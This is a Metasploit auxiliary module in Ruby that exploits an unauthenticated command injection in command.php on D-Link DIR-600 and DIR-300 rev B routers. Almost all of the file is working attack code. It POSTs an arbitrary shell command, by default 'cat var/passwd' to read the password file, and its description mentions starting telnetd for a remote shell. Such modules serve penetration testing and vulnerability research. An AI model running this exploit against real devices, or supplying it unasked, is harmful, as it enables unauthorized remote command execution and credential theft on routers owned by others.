##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'D-Link DIR-600 / DIR-300 Unauthenticated Remote Command Execution',
        'Description' => %q{
          This module exploits an OS Command Injection vulnerability in some D-Link
          Routers like the DIR-600 rev B and the DIR-300 rev B. The vulnerability exists in
          command.php, which is accessible without authentication. This module has been
          tested with the versions DIR-600 2.14b01 and below, DIR-300 rev B 2.13 and below.
          In order to get a remote shell the telnetd could be started without any
          authentication.
        },
        'Author' => [ 'Michael Messner <devnull[at]s3cur1ty.de>' ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'OSVDB', '89861' ],
          [ 'EDB', '24453' ],
          [ 'URL', 'https://eu.dlink.com/uk/en/products/dir-600-wireless-n-150-home-router' ],
          [ 'URL', 'http://www.s3cur1ty.de/home-network-horror-days' ],
          [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-003' ]
        ],
        'DisclosureDate' => '2013-02-04'
      )
    )

    register_options(
      [
        Opt::RPORT(80),
        OptString.new('CMD', [ true, 'The command to execute', 'cat var/passwd'])
      ]
    )
  end

  def run
    uri = '/command.php'

    print_status("#{rhost}:#{rport} - Sending remote command: " + datastore['CMD'])

    data_cmd = "cmd=#{datastore['CMD']}; echo end"

    begin
      res = send_request_cgi(
        {
          'uri' => uri,
          'method' => 'POST',
          'data' => data_cmd
        }
      )
      return if res.nil?
      return if (res.headers['Server'].nil? || res.headers['Server'] !~ (%r{Linux,\ HTTP/1.1,\ DIR}))
      return if res.code == 404
    rescue ::Rex::ConnectionError
      vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
      return
    end

    if res.body.include?('end')
      print_good("#{rhost}:#{rport} - Exploited successfully\n")
      print_line("#{rhost}:#{rport} - Command: #{datastore['CMD']}\n")
      print_line("#{rhost}:#{rport} - Output: #{res.body}")
    else
      print_error("#{rhost}:#{rport} - Exploit failed")
    end
  end
end
